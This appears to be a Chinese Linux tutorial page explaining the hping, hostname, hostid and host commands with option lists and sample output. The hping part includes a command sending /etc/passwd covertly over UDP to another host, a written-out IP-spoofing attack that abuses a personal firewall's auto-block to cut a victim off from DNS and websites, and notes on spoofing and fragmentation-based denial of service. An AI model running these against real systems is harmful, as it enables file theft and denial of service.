更新升级 专属应用 系统故障 硬件故障 电脑汽车 鸿蒙刷机 鸿蒙开发Linux教程 鸿蒙开发Linux命令
当前位置:HMXT之家 > 鸿蒙开发Linux命令 > Linux hping、hostname、hostid、host命令的用法及解释

Linux hping、hostname、hostid、host命令的用法及解释

更新时间:2022-01-22 09:32:47浏览次数:110+次

以下为你详细解释hping、hostname、hostid、host命令的用法。

\

Linux hping命令的用法及解释

Linux hping命令是一个基于命令行的TCP/IP工具,它在UNIX上得到很好的应用,不过它并非仅仅一个ICMP请求/响应工具,它还支持TCP.UDP.ICMP,RAW-IP协议,以及一个路由模型HPING一直被用作安全工具,可以用来测试网络及主机的安全.

1、hping有以下功能

1]:防火墙探测

2]:高级端口扫描

3]:网络测试;(可以用不同的协议,TOS,数据包碎片来实现此功能)

4]:手工MTU发掘

5]:高级路由(在任何协议下都可一实现)

6]:指纹判断

7]:细微UPTIME猜测

HPING也可以被研究人员用来学习TCP/IP,在以下OS上它可以运行于LINUX,FREEBSD,NETBSD,OPENBSD,SOLARIS. 目前新版本为hping3.

HPING参数,可以用HPING -H来看,我就不多说了.

2、下面介绍各参数的用法

-H --help 显示帮助  

-v -VERSION 版本信息  

-c --count count 发送数据包的次数 关于countreached_timeout 可以在hping2.h里编辑  

-i --interval 包发送间隔时间(单位是毫秒) 缺省时间是1秒,此功能在增加传输率上很重要,在idle/spoofing扫描时此功能也会被用到,你可以参考hping-howto获得更多信息-fast 每秒发10个数据包,(似乎可用作dos攻击,没测试过,不忍拿同学开刀)  

-n -nmeric 数字输出,象征性输出主机地址(用处不大)  

-q -quiet 退出.什么都不会输出,除了开始结诉时间  

-I --interface interface name 无非就是eth0之类的参数,自己的机器自己看吧,别告诉我你连这都不知道,一般我不指定这参数,hping一样工作正常.  

-v --verbose 显示很多信息,TCP回应一般如下:  

len=46 ip=192.168.1.1 flags=RADF seq=0 ttl=255 id=0 win=0 rtt=0.4ms tos=0 iplen=40 seq=0 ack=1380893504 sum=2010 urp=0  

-D --debug 进入debug模式 当你遇到麻烦时,比如用HPING遇到一些不合你习惯的时候,你可以用此模式修改HPING,(INTERFACE DETECTION,DATA LINK LAYER ACCESS,INTERFACE SETTINGS,.......)  

-z --BIND 快捷键的使用 (按自己个人喜好设定吧)  

-Z --unbind 消除快捷键

3、以下是协议选择项

-O --rawip RAWIP模式,在此模式下,HPING会发送带数据的IP头,....原文如下:RAW IP mode, in this mode hping2 will send IP header with data appended with --signature and/or  

--file, see also --ipproto that allows you to set the ip protocol field.(具体,不好翻译)   

-1 --icmp ICMP模式,此模式下,HPING会发送IGMP应答报文,你可以用--ICMPTYPE --ICMPCODE选项发送其他类型/模式的ICMP报文  

-2 --udp UDP 模式,缺省下,HPING会发送UDP报文到主机的0端口,你可以用--baseport --destport --keep选项指定其模式  

-9 --listen signatuer hping的listen模式,用此模式,HPING会接收指定的数据,比如:命令如下:hping  

--listen TEST 接收数据如下时:234-5488-TESThello_word,会显示hello_word以下是有关IP的选项  

-a --spoof hostname 伪造IP攻击,防火墙就不会记录你的真实IP了,当然,回应的包你也接收不到了,比如,你是192.168.3.1, 你装成192.168.3.2发包给192.168.3.3, 192.168.3.3的防火墙会记录192.168.3.2发包记录,但是192.168.3.3的回应也会发回192.168.3.2,而你却接收不到192.168.3.3的回答包的,具体可以参见HPING2-HOWTO  

-t --ttl time to live 本选项可以指定发出包的TTL值,我用了一下,实在看不出什么区别,这选项一般和--traceroute 或  

--bind一齐用,比如:hping 1.1.1.1 -t 1 --traceroute,(这选项数值大了,和PING没区别,数值小了,包似乎到不了主机,只停留在到达路由主机上,你自己慢慢看吧)  

-H --ipproto 在RAW IP模式里选择IP协议  

-W --WINID UNIX ,WINDIWS的id回应不同的 ,这选项可以让你的ID回应和WINDOWS一样  

-r --rel 更改ID的,可以让ID曾递减输出,详见HPING-HOWTO  

-F --FRAG 更改包的FRAG ,这可以测试对方对于包碎片的处理能力,缺省的‘virtual mtu‘是16字节,  

-x --morefrag 此功能可以发送碎片使主机忙于恢复碎片而造成主机的拒绝服务  

-y -dontfrag 发送不可恢复的IP碎片,这可以让你了解更多的MTU PATH DISCOVERY  

-G --fragoff fragment offset value set the fragment offset  

-m --mtu mtu value 用此项后 ID数值变得很大 50000没指定此项时3000-20000左右,具体作用,我得再去看看  

-o --tos hex tos TOS=TYPE OF SERVICE 知道什么回事了吧?  

-G --rroute 记录路由,可以看到详悉的数据等等,最多可以经过9个路由,即使主机屏蔽了ICMP报文,路由只涉及IP,所以任可以记录,在TCP UDP下,也可以记录路由的  

4、ICMP选项

-C --ICMPTYPE TYPE 指定ICMP类型,缺省是ICMP ECHO REQUEST  

-K --ICMPCODE CODE 指定ICMP代号,缺省0  

--icmp-ipver 把IP版本也插入IP头,  

--icmp-iphlen 设置IP头的长度,缺省为5 (32字节)  

--icmp-iplen 设置IP包长度  

--icmp-ipid 设置ICMP报文IP头的ID,缺省是RANDOM  

--icmp-ipproto 设置协议的,缺省是TCP  

-icmp-cksum 设置校验和的,没什么的  

-icmp-ts Alias for --icmptype 13 (to send ICMP timestamp requests)  

--icmp-addr Alias for --icmptype 17 (to send ICMP address mask requests)  

5、TCP/UDP 选项

-s --baseport source port hping用源端口猜测回应的包,它从一个基本端口计数,每收一个包,端口也加1,这规则你可以自己定义,如用-K --KEEP可以使端口不会增加,每次的基本端口是\随意的  

-p --deskport [+][+]desk port 设置目标端口,缺省为0,一个加号设置为:每发送一个请求包到达后,端口加1,两个加号为:每发一个包,端口数加1,  

--keep 上面说过了  

-w --win 发的大小和windows一样大,64BYTE  

-O --tcpoff Set fake tcp data offset. Normal data offset is tcphdrlen / 4.  

-m --tcpseq 设置TCP序列数,  

-l --tcpck 设置TCP ack的  

-Q --seqnum 搜集序列号的,这对于你分析TCP序列号有很大作用,例如:

# hping2 win98 --seqnum -p 139 -S -i u1 -I eth0  

HPING uaz (eth0 192.168.4.41): S set, 40 headers + 0 data bytes  

2361294848 +2361294848  

2411626496 +50331648  

2545844224 +134217728  

2713616384 +167772160  

2881388544 +167772160  

3049160704 +167772160  

3216932864 +167772160  

3384705024 +167772160  

3552477184 +167772160  

3720249344 +167772160  

3888021504 +167772160  

4055793664 +167772160  

4223565824 +167772160

第一排是序列号,第2排是应答的序列号,所以你可以预见主机的序列号(三次握手后,数值基本不再变,定在167772160了)

-b --badcksum 发出一个错误校验和的UDP/TCP包  

-tcp-timestamp  

-F -fin set FIN tcp flag  

-S --syn set SYN tcp flag.  

-R --rst set RST tcp flag.  

-P --push set PUSH tcp flag.  

-A --ack set ACK tcp flag.  

-U --urg set URG tcp flag.  

-X --xmas set Xmas tcp flag.  

-Y --ymas set Ymas tcp flag.  

6、其他

-d --data data size 设置包大小,注意:指定DATA为40时,输出如下: 

HPING 域名 (ppp0 204.71.200.67): NO FLAGS are set, 40 headers + 40 data bytes

-E --file filename 指定包内容如FILENAME里的一样  

-e --sign signature 指定包头的内容  

-j --dump Dump received packets in hex.  

-J --print Dump received packets‘s printable characters. -B --safe  

-B --safe 确保数据完整发出 例如:要发送A的/etc/passwd给B

# hping2 host_b --udp -p 53 -d 100 --sign signature --safe --file /etc/passwd  

# hping2 host_a --listen signature --safe --icmp

-U --END 如果你用了--FILE项,当EOF到达后,此项可以帮助你自动停止接收无用的数据,  

-T --traceroute 路由模式,自己摸索吧,  

--tr -keep-ttl 一个和路由有关的项,举例: hping2 host --traceroute --ttl 5 --tr-keep-ttl.  

--tr-stop 当ICMP一旦不可到达时,自动停止发送  

--tr-no-rrt 在路由模式里不显示RTT信息,  

--tcpexitcode 在某些规则下可探知主机是否存活  

8、另外的

标准TCP输出格式:

len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 win=0 rtt=0.4 ms

当用HPING -V测试时,结果如下:

len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0  

win=0 rtt=0.4 ms tos=0 iplen=40 seq=0 ack=1223672061 sum=e61d urp=0

自己比较其中异同吧:

标准UDP输出:

len=46 ip=192.168.1.1 seq=0 ttl=64 id=0 rtt=6.0 ms

ICMP输出格式: 主机可达时:

ICMP Port Unreachable from ip=192.168.1.1

主机不可到达时:

TTL 0 during transit from ip=192.168.1.1

注:

翻译本文时,并没完全按照原文,而且有些地方确实不好翻译,另外还加了一些自己的想法,不过比较琐碎,现在再说一个大概吧.

我本来是用它来测试天网防火墙的,可以说,在它攻击下,天网显得很脆弱,我可以伪造任何一个可以想到的IP来攻击同学,(当然,同学事先知道的).天网的默认规则如下:

UDP一概不理会,TCP高端口也不理会,至于最高端口在什么地方,懒的测试,假如对方IP为192.168.3.2.你也可以伪造出:192.168.3.2试图PING 192.168.3.2的报文,我试图联接对方udp139端口,回车后:

hping 192.168.3.2 (eth0 192.168.3.2 ):udp mode set,28 headers +13data bytes

如果发送到12345端口(没开),显示 udp Port Unreachable  

如果发到防火墙屏蔽的某端口:transit (关键字)

我还用过SING 不过那命令参数更复杂,说明也不很详悉,但在伪造IP上,SING 更强大的是,可以伪造MAC地址,我用TCPDUMP监视本机数据流时,发现它们攻击时,本机只能记录一些ARP应答,其余什么也没有,就写这么多吧.

首先要说明的一点是,这并不是一种多么新的技术手段,但是下面描述的问题确实是广泛的存在的,而且实现起来太简单了,应该引起我们的重视。

随着安全意识的增强,越来越多的网络使用者开始在他们的pc机器上使用软件防火墙,而新的防火墙很多都有了auto-block功能,这些防火墙在工作时,对危害级别较低的防卫手段往往是屏蔽数据包,但是当这些防火墙检测到高危害的数据时,auto-block会起作用,将来源ip地址(注意是来源ip地址而不是数据包)block了,可惜的是目前本人接触到的几乎全部PC用软件个人防火墙都不是基于状态的,这样就产生了一个问题,当恶意人士以伪造的IP地址发送假的攻击数据包时,防火墙会不加判断将这些伪造的IP地址屏蔽,OK,知道了这一点,我们假冒GOOGLE,DNS 服务器,OICQ的聊天服务器的IP地址来向目标系统发送攻击数据包.

而且,非常不幸的是目前业界领先的许多厂家的产品,比如:Norton personal firewall 2002,BlackICE等都存在这个问题。

我们可以来个实际的例子:

step 1:目标主机安装了blackice,它的 ip address是 ip.add.of.victim

step 2:发起攻击的一太linux 机器,上面安装了hping

执行如下命令:

---

$ hping -p 31335 -e PONG -2 ip.add.of.victim -c 5 -d 4 -a ip.add. of.dnsserver  

HPING ip.add.of.victim (eth0 ip.add.of.victim): udp mode set, 28 headers  

+ 4 data bytes

--- ip.add.of.victim hping statistic ---  

5 packets tramitted, 0 packets received, 100% packet loss round-trip min/avg/max = 0.0/0.0/0.0 ms

$ hping -p 31335 -e PONG -2 ip.add.of.victim -c 5 -d 4 -a www.google.com  

HPING ip.add.of.victim (eth0 ip.add.of.victim): udp mode set, 28 headers  

+ 4 data bytes

--- ip.add.of.victim hping statistic ---  

5 packets tramitted, 0 packets received, 100% packet loss round-trip min/avg/max = 0.0/0.0/0.0 ms

$ hping -p 31335 -e PONG -2 ip.add.of.victim -c 5 -d 4 -a www.sina.com  

HPING ip.add.of.victim (eth0 ip.add.of.victim): udp mode set, 28 headers  

+ 4 data bytes

--- ip.add.of.victim hping statistic ---  

5 packets tramitted, 0 packets received, 100% packet loss round-trip min/avg/max = 0.0/0.0/0.0 ms

---

上面的三个命令干了同一件事情,以伪造的ip发送假的trinoo攻击数据包。

结果:在目标主机上所有伪造的ip地址网络连接被block了,也就是对目标主机ip.add.of.victim而言,它的dns服务器,google和sina都无法访问了。

Linux hostname命令的用法及解释

Linux hostname命令用于显示和设置系统的主机名称。环境变量HOSTNAME也保存了当前的主机名。在使用hostname命令设置主机名后,系统并不会永久保存新的主机名,重新启动机器之后还是原来的主机名。如果需要永久修改主机名,需要同时修改/etc/hosts和/etc/sysconfig/network的相关内容。

1、语法

hostname(选项)(参数)

2、选项

-v:详细信息模式;

-a:显示主机别名;

-d:显示DNS域名;

-f:显示FQDN名称;

-i:显示主机的ip地址;

-s:显示短主机名称,在第一个点处截断;

-y:显示NIS域名。

3、参数

主机名:指定要设置的主机名。

4、实例

[root@AY1307311912260196fcZ ~]# hostname

AY1307311912260196fcZ

Linux hostid命令的用法及解释

Linux hostid命令用于打印当前主机的十六进制数字标识。是主机的唯一标识,是被用来限时软件的使用权限,不可改变。

1、语法

hostid

2、选项

--help:显示帮助信息;

--version:显示版本信息。

3、实例

[root@localhost ~]# hostid

007f0100

Linux host命令的用法及解释

Linux host命令是常用的分析域名查询工具,可以用来测试域名系统工作是否正常。

1、语法

host(选项)(参数)

2、选项

-a:显示详细的DNS信息;

-c<类型>:指定查询类型,默认值为“IN“;

-C:查询指定主机的完整的SOA记录;

-r:在查询域名时,不使用递归的查询方式;

-t<类型>:指定查询的域名信息类型;

-v:显示指令执行的详细信息;

-w:如果域名服务器没有给出应答信息,则总是等待,直到域名服务器给出应答;

-W<时间>:指定域名查询的最长时间,如果在指定时间内域名服务器没有给出应答信息,则退出指令;

-4:使用IPv4;

-6:使用IPv6.

3、参数

主机:指定要查询信息的主机信息。

4、实例

[root@localhost ~]# host 域名

比如:[root@localhost ~]# host hmxthome.com

域名 is an alias for host.1.域名.

host.1.域名 has address 100.42.212.8

[root@localhost ~]# host -a 域名

比如:[root@localhost ~]# host -a hmxthome.com

Trying "域名"

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 34671

;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:

;域名.               IN      ANY

;; ANSWER SECTION:

域名.        463     IN      CNAME   host.1.域名.

Received 54 bytes from 202.96.104.15#53 in 0 ms